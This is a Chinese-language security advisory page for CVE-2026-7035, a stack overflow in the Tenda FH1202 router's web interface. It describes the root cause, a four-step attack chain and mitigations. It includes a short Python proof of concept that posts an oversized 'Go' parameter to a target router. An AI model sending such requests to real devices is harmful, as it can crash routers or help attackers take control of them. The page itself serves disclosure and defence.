IPBUF安全漏洞报告
English
CVE-2026-7035 CVSS 8.8 高危

CVE-2026-7035 Tenda FH1202 栈溢出漏洞

披露日期: 2026-04-26

漏洞信息

漏洞编号
CVE-2026-7035
漏洞类型
栈溢出
CVSS评分
8.8 高危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Tenda FH1202

相关标签

缓冲区溢出Tenda远程代码执行IoT路由器漏洞

漏洞概述

Tenda FH1202路由器固件1.2.0.14版本存在高危栈溢出漏洞。该漏洞位于httpd组件的/goform/WrlclientSet接口中,函数fromWrlclientSet在处理Go参数时未进行严格的长度校验。攻击者可利用此漏洞构造恶意数据包,无需用户交互即可远程触发缓冲区溢出,进而可能导致设备崩溃或被植入后门,完全控制设备。

技术细节

漏洞根因在于Tenda FH1202 v1.2.0.14的httpd服务中,fromWrlclientSet函数使用了不安全的内存拷贝操作(如strcpy)。当处理来自/goform/WrlclientSet的POST请求时,程序直接提取用户输入的'Go'参数并将其复制到栈上的局部变量缓冲区。由于缺少长度检查,发送超长字符串即可覆盖栈帧中的返回地址。攻击者可精心构造包含Shellcode的Payload,覆盖返回地址指向Payload地址,从而获得路由器的root权限并执行任意系统命令。由于CVSS向量显示攻击复杂度低且无需用户交互,该漏洞极易被自动化利用。

攻击链分析

STEP 1
侦察
攻击者扫描网络,识别暴露的Tenda FH1202路由器及其固件版本。
STEP 2
漏洞利用
攻击者向/goform/WrlclientSet接口发送特制的HTTP POST请求,该请求包含超长的'Go'参数数据。
STEP 3
溢出触发
目标设备接收请求,httpd服务在处理参数时触发栈溢出,覆盖返回地址。
STEP 4
代码执行
程序流程被劫持,跳转执行攻击者注入的恶意代码,获取设备控制权。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests def exploit(target_ip): url = f"http://{target_ip}/goform/WrlclientSet" # Payload pattern: Padding + Return Address + NOP Sled + Shellcode # Note: Exact offset and return address need environment debugging payload = b"A" * 1000 data = { "Go": payload.decode('latin-1') } try: print(f"[+] Sending payload to {target_ip}...") response = requests.post(url, data=data, timeout=5) print(f"[+] Response status code: {response.status_code}") if response.status_code == 200: print("[+] Request sent successfully. Check device status for crash or shell.") except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": target = "192.168.0.1" # Replace with target IP exploit(target)

影响范围

Tenda FH1202 1.2.0.14

防御指南

临时缓解措施
在官方发布正式补丁前,建议用户将路由器Web管理界面仅对受信任的内网IP开放,并关闭WAN侧远程管理端口。同时,应密切关注Tenda官方安全公告,及时下载并安装固件更新以修补此漏洞。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表